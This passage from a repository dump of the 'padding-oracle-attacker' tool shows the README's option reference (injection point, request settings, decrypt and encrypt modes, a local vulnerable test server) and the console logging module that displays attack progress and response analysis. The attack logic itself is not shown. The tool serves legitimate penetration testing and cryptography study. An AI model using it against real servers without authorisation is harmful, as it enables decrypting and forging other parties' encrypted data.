###### `isDecryptionSuccess: ({ statusCode, headers, body }) => boolean` 110 | Function that returns true if the server response indicates decryption was successful. 111 | 112 | ###### `ciphertext: Buffer` (`decrypt` only) 113 | Ciphertext to decrypt. 114 | 115 | ###### `plaintext: Buffer` (`encrypt` only) 116 | Plaintext to encrypt. Padding will be added automatically. Example: `Buffer.from('foo bar', 'utf8')` 117 | 118 | --- 119 | 120 | ##### Optional options 121 | 122 | ###### `concurrency: number = 128` 123 | Network requests to be sent concurrently. 124 | 125 | ###### `isCacheEnabled: boolean = true` 126 | Responses are cached by default and saved to `poattack-cache.json.gz.txt`. Set to `false` to disable caching. 127 | 128 | ###### `requestOptions: { method, headers, data }` 129 | ###### `requestOptions.method: string` 130 | HTTP method to use while making the request. `GET` by default. `POST`, `PUT`, `DELETE` are some valid options. 131 | 132 | ###### `requestOptions.headers: { string: string }` 133 | Headers to be sent with request. Example: `{ 'Content-Type': 'application/x-www-form-urlencoded' }` 134 | 135 | ###### `requestOptions.body: string` 136 | Request body. Can be a JSON string, URL encoded params etc. `Content-Type` header has to be set manually. 137 | 138 | ###### `logMode: 'full'|'minimal'|'none' = 'full'` 139 | `full`: Log everything to console (default) 140 | `minimal`: Log only after start and completion to console 141 | `none`: Log nothing to console 142 | 143 | ###### `transformPayload: (ciphertext: Buffer) => string` 144 | Function to convert the `ciphertext` into a string when making a request. By default, `ciphertext` is encoded in hex and inserted at the injection point (URL end unless `{POPAYLOAD}` is present). 145 | 146 | --- 147 | ##### Optional options (`decrypt` only) 148 | 149 | ###### `alreadyFound: Buffer` 150 | Plaintext bytes already known/found that can be skipped (from the end). If you provide a `Buffer` of ten bytes, the last ten bytes will be skipped. 151 | 152 | ###### `initFirstPayloadBlockWithOrigBytes: boolean = false` 153 | Initialize first payload block with original `ciphertext` bytes instead of zeroes. 154 | Example: `abcdef12345678ff 1111111111111111` instead of `00000000000000ff 1111111111111111` 155 | 156 | ###### `startFromFirstBlock: boolean = false` 157 | Start processing from the first block instead of the last. 158 | 159 | ###### `makeInitialRequest: boolean = true` 160 | Make an initial request with the original `ciphertext` provided and log server response to console to allow the user to make sure network requests are being sent correctly. 161 | 162 | --- 163 | ##### Optional options (`encrypt` only) 164 | 165 | ###### `makeFinalRequest: boolean = true` 166 | After finding the `ciphertext` bytes for the new `plaintext`, make a final request with the found bytes and log the server response to console. 167 | 168 | ###### `lastCiphertextBlock: Buffer` 169 | Custom ciphertext for the last block. Last block is just zeroes by default (`000000000000000`). 170 | 171 | ## Developing 172 | 173 | `padding-oracle-attacker` is written in TypeScript. If you'd like to modify the source files and run them, you can either compile the files into JS first and run them using node, or use [ts-node](https://www.npmjs.com/package/ts-node). 174 | Example: `yarn build` then `node dist/cli ...` or simply `ts-node src/cli ...` 175 | 176 | ##### `yarn build` or `npm run build` 177 | Builds the TypeScript files inside the `src` directory to JS files and outputs them to the `dist` directory. 178 | 179 | ##### `yarn clean` or `npm run clean` 180 | Deletes the `dist` directory. 181 | 182 | ##### `yarn lint` or `npm run lint` 183 | Lints the files using eslint. 184 | 185 | ##### `yarn test` or `npm run test` 186 | Lints and runs the tests using ava. 187 | 188 | ##### `node test/helpers/vulnerable-server.js` 189 | Runs the test server which is vulnerable to padding oracle attacks at <http://localhost:2020> 190 | 191 | ## Related 192 | 193 | * [PadBuster](https://github.com/AonCyberLabs/PadBuster) (Perl) 194 | * [Padding Oracle Attack](https://github.com/mpgn/Padding-oracle-attack) (Python) 195 | * [python-paddingoracle](https://github.com/mwielgoszewski/python-paddingoracle) (Python) 196 | * [Poracle](https://github.com/iagox86/poracle) (Ruby) 197 | * [GoPaddy](https://github.com/glebarez/GoPaddy) (Go) 198 | * [pax](https://github.com/liamg/pax) (Go) 199 | * [padre](https://github.com/glebarez/padre) (Go) 200 | * [Padantic](https://github.com/sum-catnip/padantic) (Rust) 201 | * [Padoracle](https://github.com/imyelo/padoracle) (JavaScript) 202 | 203 | ## License 204 | 205 | MIT © [Kishan Bagaria](https://kishanbagaria.com) 206 | -------------------------------------------------------------------------------- /src/logging.ts: -------------------------------------------------------------------------------- 1 | import chalk from 'chalk' 2 | import wrapAnsi from 'wrap-ansi' 3 | import logUpdate from 'log-update' 4 | import ansiStyles from 'ansi-styles' 5 | import prettyBytes from 'pretty-bytes' 6 | import { table, getBorderCharacters, TableUserConfig } from 'table' 7 | import { getStatusCodeColor, getPrintable } from './util' 8 | import { HeadersObject, OracleResult } from './types' 9 | 10 | const { isTTY } = process.stdout 11 | 12 | function getBar(percent: number, barSize: number) { 13 | const barComplete = '█'.repeat(percent * barSize) 14 | const barIncomplete = '░'.repeat(barSize - barComplete.length) 15 | return { barComplete, barIncomplete } 16 | } 17 | 18 | interface ColorizeHex { 19 | cipherHex: string 20 | totalSize: number 21 | foundOffsets: Set<number> 22 | currentByteColor: string 23 | currentByteHex: string 24 | currentByteOffset: number 25 | } 26 | // eslint-disable-next-line @typescript-eslint/no-explicit-any 27 | const aStyles = ansiStyles as any 28 | function colorizeHex({ cipherHex, totalSize, foundOffsets, currentByteColor, currentByteHex, currentByteOffset }: ColorizeHex) { 29 | let result = '' 30 | let lastColor = '' 31 | for (let i = 0; i < totalSize; i++) { 32 | const isCurrentByte = currentByteOffset === i 33 | let color = 'gray' 34 | if (isCurrentByte) color = currentByteColor 35 | else if (foundOffsets.has(i) || i >= (totalSize - 16)) color = 'green' 36 | 37 | const byteHex = cipherHex.slice(i * 2, i * 2 + 2) 38 | if (lastColor !== color) { 39 | result += (lastColor ? aStyles[lastColor].close : '') + aStyles[color].open 40 | lastColor = color 41 | } 42 | result += isCurrentByte ? currentByteHex : byteHex 43 | } 44 | result += aStyles[lastColor].close 45 | return result 46 | } 47 | 48 | const log = isTTY ? logUpdate : console.log 49 | const wrapAndSplit = (text: string, size: number) => wrapAnsi(text, size, { hard: true }).split('\n') 50 | 51 | interface NetworkStats { count: number, lastDownloadTime: number, bytesDown: number, bytesUp: number } 52 | interface LogProgressOptions { 53 | plaintext: Buffer 54 | ciphertext: Buffer 55 | foundOffsets: Set<number> 56 | blockSize: number 57 | blockI: number 58 | byteI: number 59 | byte: number 60 | decryptionSuccess: boolean 61 | networkStats: NetworkStats 62 | startFromFirstBlock?: boolean 63 | isCacheEnabled?: boolean 64 | } 65 | export function logProgress( 66 | { plaintext, ciphertext, foundOffsets, blockSize, blockI, byteI, byte, decryptionSuccess, networkStats, startFromFirstBlock, isCacheEnabled }: LogProgressOptions 67 | ) { 68 | const cipherHex = ciphertext.toString('hex') 69 | const currentByteHex = byte.toString(16).padStart(2, '0') 70 | const start = blockSize * blockI 71 | const grayEnd = 2 * (start + byteI) 72 | const greenStart = 2 * (start + byteI + 1) 73 | const currentByteColor = decryptionSuccess ? 'green' : 'yellow' 74 | const colorized = startFromFirstBlock 75 | ? colorizeHex({ cipherHex, totalSize: ciphertext.length, foundOffsets, currentByteColor, currentByteHex, currentByteOffset: start + byteI }) 76 | : [ 77 | chalk.gray(cipherHex.slice(0, grayEnd)), 78 | chalk[currentByteColor](currentByteHex), 79 | chalk.green(cipherHex.slice(greenStart)) 80 | ].join('') 81 | 82 | const printable = getPrintable(plaintext.toString('utf8')) 83 | const plainHex = plaintext.toString('hex') 84 | const plainHexColorized = chalk.gray(plainHex.slice(0, grayEnd)) + plainHex.slice(grayEnd) 85 | const plainHexSplit = wrapAndSplit(plainHexColorized, blockSize * 2) 86 | 87 | const percent = (foundOffsets.size + blockSize) / ciphertext.length 88 | const mapFunc = (ciphertextBlockHex: string, i: number) => { 89 | const xStart = (i - 1) * blockSize 90 | const plain = printable.slice(xStart, xStart + blockSize) 91 | const hex = plainHexSplit[i - 1] || '' 92 | return `${String(i + 1).padStart(2)}. ${ciphertextBlockHex} ${hex} ${plain}` 93 | } 94 | const cipherplain = wrapAndSplit(colorized, blockSize * 2) 95 | .map(mapFunc) 96 | .join('\n') 97 | const { barComplete, barIncomplete } = getBar(percent, blockSize * 4 + 5) 98 | log( 99 | cipherplain, 100 | '\n' + barComplete + barIncomplete, 101 | (percent * 100).toFixed(1).padStart(5) + '%', 102 | `${blockI + 1}x${byteI + 1}`.padStart(5), 103 | `${byte}/256`.padStart(7), 104 | chalk`\n\n{yellow ${String(networkStats.count).padStart(4)}} total network requests`, 105 | chalk`| last request took {yellow ${String(networkStats.lastDownloadTime).padStart(4)}ms}`, 106 | chalk`| {yellow ${prettyBytes(networkStats.bytesDown).padStart(7)}} downloaded`, 107 | chalk`| {yellow ${prettyBytes(networkStats.bytesUp).padStart(7)}} uploaded`, 108 | isCacheEnabled ? '' : chalk`| cache: {gray disabled}` 109 | ) 110 | } 111 | export function logWarning(txt: string) { 112 | logUpdate.done() 113 | console.error(chalk` 114 | {yellow.underline Warning}: ${txt} 115 | `) 116 | } 117 | 118 | const stringifyHeaders = (headers: HeadersObject) => Object.entries(headers).map(([k, v]) => `${chalk.gray(k.padEnd(20))}: ${v}`).join('\n') 119 | 120 | function logRequest(request: OracleResult) { 121 | console.log(request.statusCode, request.url) 122 | console.log(stringifyHeaders(request.headers)) 123 | console.log() 124 | const size = request.body.length 125 | if (size > 1024) { 126 | console.log(request.body.slice(0, 1024), chalk.gray(`[...and ${(size - 1024).toLocaleString()} more bytes]`)) 127 | } else { 128 | console.log(request.body) 129 | } 130 | } 131 | 132 | const logHeader = (h: string) => console.log(chalk.blue(`---${h}---`)) 133 | 134 | interface LogStart { 135 | blockCount: number 136 | totalSize: number 137 | initialRequest?: Promise<OracleResult> 138 | decryptionSuccess?: Promise<boolean> 139 | } 140 | export const decryption = { 141 | async logStart({ blockCount, totalSize, initialRequest: initialRequestPromise, decryptionSuccess }: LogStart) { 142 | console.log(chalk.bold.white('~~~DECRYPTING~~~')) 143 | console.log('total bytes:', chalk.yellow(String(totalSize)), '|', 'blocks:', chalk.yellow(String(blockCount - 1))) 144 | console.log() 145 | logHeader('making request with original ciphertext') 146 | const initialRequest = await initialRequestPromise 147 | if (initialRequest) { 148 | if (!await decryptionSuccess) { 149 | logWarning(`Decryption failed for initial request with original ciphertext. 150 | The parameter you provided for determining decryption success seems to be incorrect.`) 151 | } 152 | logRequest(initialRequest) 153 | } 154 | console.log() 155 | }, 156 | logCompletion({ foundBytes, interBytes }: { foundBytes: Buffer, interBytes: Buffer }) { 157 | logUpdate.done() 158 | console.log() 159 | logHeader('plaintext printable bytes in utf8') 160 | console.log(getPrintable(foundBytes.toString('utf8'))) 161 | console.log() 162 | logHeader('plaintext bytes in hex') 163 | console.log(foundBytes.toString('hex')) 164 | console.log() 165 | logHeader('intermediate bytes in hex') 166 | console.log(interBytes.toString('hex')) 167 | console.log() 168 | } 169 | } 170 | export const encryption = { 171 | logStart({ blockCount, totalSize }: LogStart) { 172 | console.log(chalk.bold.white('~~~ENCRYPTING~~~')) 173 | console.log('total bytes:', chalk.yellow(String(totalSize)), '|', 'blocks:', chalk.yellow(String(blockCount - 1))) 174 | console.log() 175 | }, 176 | logCompletion({ foundBytes, interBytes, finalRequest }: { foundBytes: Buffer, interBytes: Buffer, finalRequest?: OracleResult }) { 177 | logUpdate.done() 178 | console.log() 179 | logHeader('ciphertext bytes in hex') 180 | console.log(foundBytes.toString('hex')) 181 | console.log() 182 | logHeader('intermediate bytes in hex') 183 | console.log(interBytes.toString('hex')) 184 | console.log() 185 | if (!finalRequest) return 186 | logHeader('final http request') 187 | logRequest(finalRequest) 188 | console.log() 189 | } 190 | } 191 | interface AnalysisLogCompletion { 192 | responsesTable: string[][] 193 | statusCodeFreq: { [key: string]: number } 194 | bodyLengthFreq: { [key: string]: number } 195 | tmpDirPath?: string 196 | networkStats: NetworkStats 197 | isCacheEnabled: boolean 198 | } 199 | export const analysis = { 200 | logStart({ url, blockSize, tmpDirPath }: { url: string, blockSize: number, tmpDirPath?: string }) { 201 | console.log(chalk.bold.white('~~~RESPONSE ANALYSIS~~~')) 202 | console.log('url:', chalk.yellow(url), '|', 'block size:', chalk.yellow(String(blockSize))) 203 | console.log('will make 256 network requests and analyze responses') 204 | if (tmpDirPath) console.log('responses will be saved to', chalk.underline(tmpDirPath)) 205 | console.log() 206 | }, 207 | logCompletion({ responsesTable, statusCodeFreq, bodyLengthFreq, tmpDirPath, networkStats, isCacheEnabled }: AnalysisLogCompletion) { 208 | const tableConfig: TableUserConfig = { 209 | border: getBorderCharacters('void'), 210 | columnDefault: { paddingLeft: 0, paddingRight: 2 }, 211 | singleLine: true 212 | } 213 | const secondTableConfig: TableUserConfig = { 214 | border: getBorderCharacters('honeywell'), 215 | columnDefault: { alignment: 'right', paddingLeft: 2, paddingRight: 2 }, 216 | singleLine: true 217 | } 218 | const headerRows = ['Byte', 'Status Code', 'Content Length'].map(x => chalk.gray(x)) 219 | const scFreqEntries = Object.entries(statusCodeFreq) 220 | const clFreqEntries = Object.entries(bodyLengthFreq) 221 | const tabled = table([headerRows, ...responsesTable], tableConfig) 222 | logHeader('responses') 223 | console.log(tabled) 224 | logHeader('status code frequencies') 225 | 226 | console.log(table(scFreqEntries.map(([k, v]) => [k, v + ' time(s)']), secondTableConfig)) 227 | logHeader('content length frequencies') 228 | console.log(table(clFreqEntries.map(([k, v]) => [k, v + ' time(s)']), secondTableConfig)) 229 | logHeader('network stats') 230 | console.log( 231 | chalk`{yellow ${String(networkStats.count)}} total network requests`, 232 | chalk`| last request took {yellow ${String(networkStats.lastDownloadTime)}ms}`, 233 | chalk`| {yellow ${prettyBytes(networkStats.bytesDown)}} downloaded`, 234 | chalk`| {yellow ${prettyBytes(networkStats.bytesUp)}} uploaded`, 235 | isCacheEnabled ? '' : chalk`| cache: {gray disabled}`, 236 | '\n' 237 | ) 238 | if (tmpDirPath) { 239 | logHeader('all responses saved to') 240 | console.log(tmpDirPath + '\n') 241 | } 242 | logHeader('automated analysis') 243 | const commonTips = [ 244 | tmpDirPath && chalk`{gray *} Inspect the saved responses in {underline ${tmpDirPath}}`, 245 | chalk`{gray *} Change the <block_size> argument. Common block sizes are 8, 16, 32.`, 246 | chalk`{gray *} Make sure the injection point {underline \{POPAYLOAD\}} is correctly set.` 247 | ].filter(Boolean).join('\n') 248 | if (scFreqEntries.length === 1 && clFreqEntries.length === 1) { 249 | console.log("Responses don't seem to differ by status code or content length.\n" + commonTips) 250 | } else if (scFreqEntries.length !== 2 && clFreqEntries.length !== 2) { 251 | console.log('Responses seem to widely differ.\n' + commonTips) 252 | } else { 253 | if (scFreqEntries.length === 2) { 254 | const errorStatusCode = scFreqEntries.find(([, v]) => v === 255) 255 | const successStatusCode = scFreqEntries.find(([, v]) => v === 1) 256 | if (successStatusCode && errorStatusCode) { 257 | const sc = chalk[getStatusCodeColor(+errorStatusCode[0])](errorStatusCode[0]) 258 | console.log(chalk`Responses are likely to have a ${sc} status code when a decryption error occurs.\nYou can try specifying ${sc} for the {bold <error>} argument.\n`) 259 | } 260 | } 261 | if (clFreqEntries.length === 2) { 262 | const errorContentLength = clFreqEntries.find(([, v]) => v === 255) 263 | const successContentLength = clFreqEntries.find(([, v]) => v === 1) 264 | if (successContentLength && errorContentLength) { 265 | console.log( 266 | 'Responses are likely to be sized', 267 | chalk.yellow(errorContentLength[0]), 268 | 'bytes when a decryption error occurs.', 269 | tmpDirPath 270 | ? chalk`\nYou can find out how the response differs by inspecting the saved responses in\n{underline ${tmpDirPath}}\n` 271 | : '\n' 272 | ) 273 | } 274 | } 275 | } 276 | console.log() 277 | } 278 | } 279 | 280 | export function logError(err: Error) { 281 | logUpdate.done() 282 | console.error(chalk.red(err.stack || err.message)) 283 | } 284 | --------------------------------------------------------------------------------